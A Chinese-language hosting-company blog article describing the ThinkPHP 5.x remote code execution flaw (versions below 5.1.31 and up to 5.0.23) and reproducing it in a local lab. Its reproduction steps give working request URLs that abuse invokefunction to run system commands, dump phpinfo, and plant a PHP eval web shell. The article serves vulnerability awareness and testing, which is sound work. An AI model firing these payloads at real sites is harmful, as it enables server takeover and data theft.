thinkphp遠程執(zhí)行命令漏洞-創(chuàng)新互聯(lián)

這篇文章將為大家詳細講解有關(guān)thinkphp遠程執(zhí)行命令漏洞,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

成都服務器托管,創(chuàng)新互聯(lián)提供包括服務器租用、成都多線服務器托管、帶寬租用、云主機、機柜租用、主機租用托管、CDN網(wǎng)站加速、域名與空間等業(yè)務的一體化完整服務。電話咨詢:18980820575

漏洞概況

ThinkPHP是一款國內(nèi)流行的開源PHP框架,近日被爆出存在可能的遠程代碼執(zhí)行漏洞,攻擊者可向緩存文件內(nèi)寫入PHP代碼,導致遠程代碼執(zhí)行。

雖然該漏洞利用需要有幾個前提條件,但鑒于國內(nèi)使用ThinkPHP框架的站點數(shù)量之多,該漏洞還是存在一定的影響范圍。由于框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。

漏洞危害

攻擊者可通過該漏洞獲取網(wǎng)站的控制權(quán)限,可修改頁面,導致數(shù)據(jù)泄漏等問題。

影響版本

5.x < 5.1.31, <= 5.0.23

復現(xiàn)環(huán)境

thinkphp5.1   phpstudy集成環(huán)境(php5.6n+apache+mysql)

復現(xiàn)過程

1、如圖所示首先搭建好環(huán)境

thinkphp遠程執(zhí)行命令漏洞

2、利用system函數(shù)遠程命令執(zhí)行:

http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

thinkphp遠程執(zhí)行命令漏洞

3、通過phpinfo函數(shù)寫出phpinfo()的信息:

http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

thinkphp遠程執(zhí)行命令漏洞

4、寫入shell:

http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

thinkphp遠程執(zhí)行命令漏洞

http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

關(guān)于“thinkphp遠程執(zhí)行命令漏洞”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

文章題目:thinkphp遠程執(zhí)行命令漏洞-創(chuàng)新互聯(lián)
網(wǎng)頁路徑:http://bm7419.com/article42/gidhc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站建設(shè)、虛擬主機、自適應網(wǎng)站、域名注冊、搜索引擎優(yōu)化、關(guān)鍵詞優(yōu)化

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都app開發(fā)公司